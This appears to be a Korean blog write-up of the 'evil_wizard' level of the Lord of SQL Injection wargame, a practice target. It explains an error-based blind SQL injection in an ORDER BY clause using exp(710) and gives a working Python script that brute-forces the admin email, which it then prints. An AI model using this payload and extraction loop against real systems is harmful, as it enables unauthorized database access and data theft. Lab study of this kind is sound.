728x90
이전 문제와 비슷하다.
이번에는 order by 1 and id='admin' and if(조건문, 1, exp(710))을 이용하자.
조건문이 참이면 정상실행, 거짓이면 exp(710)이 실행되어 에러가 발생한다.(table에 아무것도 출력되지 않음)
[길이는 30] -부등호와 등호를 통해 알아냄
import requests
cookies={'PHPSESSID':'1h1qpdjpcu9keu5vn9s0ctqho1'}
url ="https://los.rubiya.kr/chall/evil_wizard_32e3d35835aa4e039348712fb75169ad.php?order=1%20and%20id=%27admin%27%20and%20"
length=30
pw= ""
for i in range(1, length+1):
for j in range(33, 122):#문자범위
#if(substr(email,n,1)='?',1,exp(710))
search_str="if(ord(substr(email,"+str(i)+",1))="+str(j)+",1,exp(710))"
#print("search_str: "+search_str)
response= requests.get(url+search_str, cookies=cookies)
#print(response.text)
if response.text.find("rubiya") !=-1:
pw+=chr(j)
print("pw: "+pw)
break
++왜인지 substr(email, N, 1)='?' 식으로 문자 그대로 비교를 할려 하면 _(언더바)와 .(마침표)가 인식이 되지 않는다.
따라서 ord로 고쳐서 비교해줬다.
주소창에 ?email=aasup3r_secure_email@emai1.com을 입력해주자.
'보안 공부 > Load of SQL injection' 카테고리의 다른 글
[Load of SQL Injection] red_dragon (0) | 2022.02.16 |
---|---|
[Load of SQL Injection] green_dragon (0) | 2022.02.15 |
[Load of SQL Injection] hell fire (SQL order by) (0) | 2022.02.14 |
[Load of SQL Injection] dark eyes (0) | 2022.02.05 |
[Load of SQL Injection] iron golem (0) | 2022.02.05 |